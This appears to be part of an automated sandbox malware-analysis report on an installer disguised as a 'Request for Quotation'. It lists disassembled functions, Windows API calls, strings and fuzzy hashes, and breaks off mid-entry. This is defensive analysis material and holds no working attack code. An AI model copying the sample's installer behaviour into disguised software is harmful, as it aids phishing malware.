Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf316fe54e54521d4b076f5f2c8e7de06abc4aeaeab560df04d32b655e22d04
Instruction ID: adbec025f58970d34d7de376cc5c52537d8e63e7ccd11e67bec5dd351198aae5
Opcode Fuzzy Hash: 3bf316fe54e54521d4b076f5f2c8e7de06abc4aeaeab560df04d32b655e22d04
Instruction Fuzzy Hash: 0AE0173555E7D02FE31346396820989AFF9CD8792031A8AEFD0C8CB0A795084D8E8B66

Function 37EE70B8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6903ba86b65ab7c1597919124fbece268e896ccd967e0ea2b8ad226b2dac6817
Instruction ID: b50ee0c138e7d05c30e098a0730747160897e889b4e5e354fd05971ebb6771ba
Opcode Fuzzy Hash: 6903ba86b65ab7c1597919124fbece268e896ccd967e0ea2b8ad226b2dac6817
Instruction Fuzzy Hash: A5C08C32218720679714A26DB8809EE63DACEC96B0B00CF2FF04993904DDA08E4B458F

Function 37EE9828 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da39a02747ed761ae7536486d0509030afb7a2cbe45d707a38ac480ab780b57d
Instruction ID: a742539984dafff94c52f925daa6b2fa3df31251a5fa943cf36a9296c4464682
Opcode Fuzzy Hash: da39a02747ed761ae7536486d0509030afb7a2cbe45d707a38ac480ab780b57d
Instruction Fuzzy Hash: 13C012B0000E098BE2042F60BC0CB39B2B8B747317FC42D10E008028308BA99454C649

Function 37EE6F94 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a0f35ea53c4be6251a6166202660e0532a75d503bbbb9633f6711a26745ee37
Instruction ID: cdbc5cb5a39b9fc209755f0652049b86092fbe2c385c2a3543650eda90fadf47
Opcode Fuzzy Hash: 9a0f35ea53c4be6251a6166202660e0532a75d503bbbb9633f6711a26745ee37
Instruction Fuzzy Hash: A8C08C30268308CFE240AA1CC584BA533ADEF89B14F0058A0F0098BB21CA62FC004A49

Non-executed Functions

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

N, xrefs: 00404D9B
, xrefs: 004050C9
M, xrefs: 00404CBA

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 0040335A Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 335stringfilecomCOMMON

Download Yara Rule

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNEL32(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,00434000,00000000), ref: 004033DB
CharNextW.USER32(00000000,00434000,00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,00436800,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 0040351C
lstrcatW.KERNEL32(00436800,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 0040353C
lstrcatW.KERNEL32(00436800,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 0040355D
DeleteFileW.KERNEL32(00436000), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(00436800,~nsu.tmp,00434000,00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(00436800,00435800,00436800,~nsu.tmp,00434000,00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(00436800,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(00436800), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(00437800,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

SeShutdownPrivilege, xrefs: 0040376F
~nsu.tmp, xrefs: 00403647
\Temp, xrefs: 00403522
Low, xrefs: 0040353E
Error launching installer, xrefs: 004035D8
TMP, xrefs: 00403558
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
TEMP, xrefs: 00403550
NSIS Error, xrefs: 004033B9

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1875889550
Opcode ID: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 00405772 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00436800,76F92EE0,00434000), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,00436800,76F92EE0,00434000), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,00436800,76F92EE0,00434000), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,00436800,76F92EE0,00434000), ref: 0040580C
FindFirstFileW.KERNEL32(004246D8,?,?,?,00409014,?,004246D8,?,?,00436800,76F92EE0,00434000), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

\*.*, xrefs: 004057DD

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00436800,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,00436800,?,76F92EE0,00405792,?,00436800,76F92EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 37EE5631 Relevance: 1.9, Strings: 1, Instructions: 601COMMON

Download Yara Rule

Strings

.5q, xrefs: 37EE575B

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID: .5q
API String ID: 0-3553790735
Opcode ID: d9085794b6362a0a3b9f9e4c12ef680e1510b9b46a2c810bc5b38a192d1894dd
Instruction ID: 58947a85c81f481005583e1631572257b492c912ca1d42b6e401d1366f145c01
Opcode Fuzzy Hash: d9085794b6362a0a3b9f9e4c12ef680e1510b9b46a2c810bc5b38a192d1894dd
Instruction Fuzzy Hash: D7629B74A01268CFDB64DF65C884BDDBBB2BF89301F1085EAD809AB255DB359E81CF50

Function 351AD330 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc5e1abd13f0f1c65e36b5b6dcf1262e92246db54483502a45e4b5a4e399a0c0
Instruction ID: 4a909d88cf4fe40daad6d55d382dab03313ff2e3264d13a3198ad6626bb3fb47
Opcode Fuzzy Hash: dc5e1abd13f0f1c65e36b5b6dcf1262e92246db54483502a45e4b5a4e399a0c0
Instruction Fuzzy Hash: 9AC1B278E00218CFDB15DFA5C994B9DBBB2BF89300F5080A9D409AB365DB355A85CF54

Function 351AEB48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90ddd70963bc69f6432949fe9305e06f53c0bdbc00c0397374b9f5f1e21ed14a
Instruction ID: 33c2f9c4f117c533b99f2c71a822a7f0ba95e7ff6a1c7e4201df1f34c584fe0a
Opcode Fuzzy Hash: 90ddd70963bc69f6432949fe9305e06f53c0bdbc00c0397374b9f5f1e21ed14a
Instruction Fuzzy Hash: 43C19179E00218CFEB15DFA5C994B9DBBB2BF89300F1081A9D409BB365DB355A85CF14

Function 351ABD78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e5d7c22ba9a5b0a8887769fcf69e8a33263a6ee9f4be3e56c2b189f34905a2b
Instruction ID: 72026a9af6bb7365beb05ce1255b373721196aa891f9361de7c47c459c471bcc
Opcode Fuzzy Hash: 9e5d7c22ba9a5b0a8887769fcf69e8a33263a6ee9f4be3e56c2b189f34905a2b
Instruction Fuzzy Hash: FCC1A079E00218CFEB15DFA5C994B9DBBB2BF89300F1081A9D409BB365DB355A85CF14

Function 351A9370 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f408ba51e91f56e95fd7d96c65210144662f00aab48a2fdc3d8d4e6d467bbb4
Instruction ID: 70c7cfd7c43e56b5736c06ea33fe50d8ca1ac67d1e2db038909486a5ac9eef73
Opcode Fuzzy Hash: 8f408ba51e91f56e95fd7d96c65210144662f00aab48a2fdc3d8d4e6d467bbb4
Instruction Fuzzy Hash: 9EC1A079E00218CFEB15DFA5C994B9DBBB2BF89300F1080A9D409AB365DB359A85CF54

Function 351AEFA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5d7e2f57d47af22926ad8502ff7a93a1051c8b5cc398bfd38f400f766f52ff7
Instruction ID: 1567e3d8bd9a58e628ee233093927d36579c6cc442bde108b9f6b63841700ad7
Opcode Fuzzy Hash: c5d7e2f57d47af22926ad8502ff7a93a1051c8b5cc398bfd38f400f766f52ff7
Instruction Fuzzy Hash: CCC1A179E00218CFEB15DFA5C994B9DBBB2BF89300F1081A9D809BB365DB355A85CF14

Function 351AC1D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a5e084aa9cdce1efe98a5a50ae7a63cb9d623ff89f1c1c56f4975ae1d347f0
Instruction ID: 514ce6a7684fb4f96fd565c55c2bf7b699c0b596dbea1d2ba5b865e52550f3d9
Opcode Fuzzy Hash: a6a5e084aa9cdce1efe98a5a50ae7a63cb9d623ff89f1c1c56f4975ae1d347f0
Instruction Fuzzy Hash: 1DC1B179E00218CFEB15DFA5C894B9DBBB2BF89300F1081A9D809BB365DB355A85CF14

Function 351A97C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1820a91587c9759fb08d3bd2478d64a3b3d9bd3577f573cdf2d2eace8d0701aa
Instruction ID: 63d39565db8ffcc3ec1e4176ea22d26cc76755a1e0051939a7e2ced760783959
Opcode Fuzzy Hash: 1820a91587c9759fb08d3bd2478d64a3b3d9bd3577f573cdf2d2eace8d0701aa
Instruction Fuzzy Hash: DBC1A279E00218CFEB15DFA5C994B9DBBB2BF89300F1080A9D409BB365DB359A85CF14

Function 351AF3F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cd015cc3522295a16c2f60515933d50cdb74eb9b342fa8f826adbb46f0f5c10
Instruction ID: 5cca355ec6e55e8804c56568adbeaa66a6c7206e64d455e59b48138e1e946469
Opcode Fuzzy Hash: 8cd015cc3522295a16c2f60515933d50cdb74eb9b342fa8f826adbb46f0f5c10
Instruction Fuzzy Hash: C4C19079E00218CFEB15DFA5C994B9DBBB2BF89300F1081A9D409AB365DB355A85CF14

Function 351AC628 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a9c6bb96ccb4feaa129853de3f08e35b30a1f894648ebd7d47a0ec314759237
Instruction ID: 75705339b59d56ded1e71d2d52ced442c1ba62b686c91f58fcc0719d53fbbfd4
Opcode Fuzzy Hash: 8a9c6bb96ccb4feaa129853de3f08e35b30a1f894648ebd7d47a0ec314759237
Instruction Fuzzy Hash: E6C1A179E00218CFEB15DFA5C994B9DBBB2BF89304F1080A9D409BB365DB355A85CF14

Function 351A9C20 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 977c45ae2d9324f4b12ab5050560554b952a4009125ce6e1e8194ec8725bbdeb
Instruction ID: 14177ea595f02806322ccb212ce22f6818a38e448508a2f5e22dbee56fa8ff7a
Opcode Fuzzy Hash: 977c45ae2d9324f4b12ab5050560554b952a4009125ce6e1e8194ec8725bbdeb
Instruction Fuzzy Hash: 3CC1A278E00218CFDB15DFA5C954B9DBBB2BF89300F1080A9D809AB365DB359A85CF14

Function 351AF850 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5da0fd25f972cff2254fce40cb14bcc7b7262a06583263c56d1ed430d9f1a5
Instruction ID: 488bb8e217b5b2a43e582dc426422c5a29913e5fca9114634002bbb2bfbded61
Opcode Fuzzy Hash: 2a5da0fd25f972cff2254fce40cb14bcc7b7262a06583263c56d1ed430d9f1a5
Instruction Fuzzy Hash: 03C19179E00218CFEB15DFA5C994B9DBBB2BF89300F1081A9D809BB365DB355A85CF14

Function 351AA078 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67f274cb237959f3c1604364c2de2555b37c5a6bbdc097c503f1d7dddc77a74b
Instruction ID: b7ec881b4217944c7485190c034f4ac8f3f4f3863f37edd2efafa3308ab61a03
Opcode Fuzzy Hash: 67f274cb237959f3c1604364c2de2555b37c5a6bbdc097c503f1d7dddc77a74b
Instruction Fuzzy Hash: E1C19F79E00218CFEB15DFA5C994B9DBBB2BF89300F1081A9D809AB365DB355E85CF14

Function 351ACA80 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceac0f5fc97597ba46796a3baaa2a41e3b48855d5037feb41cdca6e46411ebe9
Instruction ID: 2912b017003a64729e6e9b9c876024ddf681cd48544a1f83efd9bef27c05be3a
Opcode Fuzzy Hash: ceac0f5fc97597ba46796a3baaa2a41e3b48855d5037feb41cdca6e46411ebe9
Instruction Fuzzy Hash: 17C1B179E00218CFEB15DFA5C994B9DBBB2BF89300F1080A9D809BB365DB355A85CF14

Function 351ACED8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d2bf6b43300b4ca0a2c3d98dae6c639b4de8cd0a0e195a2b4b3a75c066d615c
Instruction ID: 20081bd2430eedc56e3f1c515bead12c42e0836689b29da4b98cf331356e28d1
Opcode Fuzzy Hash: 6d2bf6b43300b4ca0a2c3d98dae6c639b4de8cd0a0e195a2b4b3a75c066d615c
Instruction Fuzzy Hash: 9FC1A179E00218CFEB15DFA5C994B9DBBB2BF89300F1080A9D409BB365DB359A85CF54

Function 351AA4D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
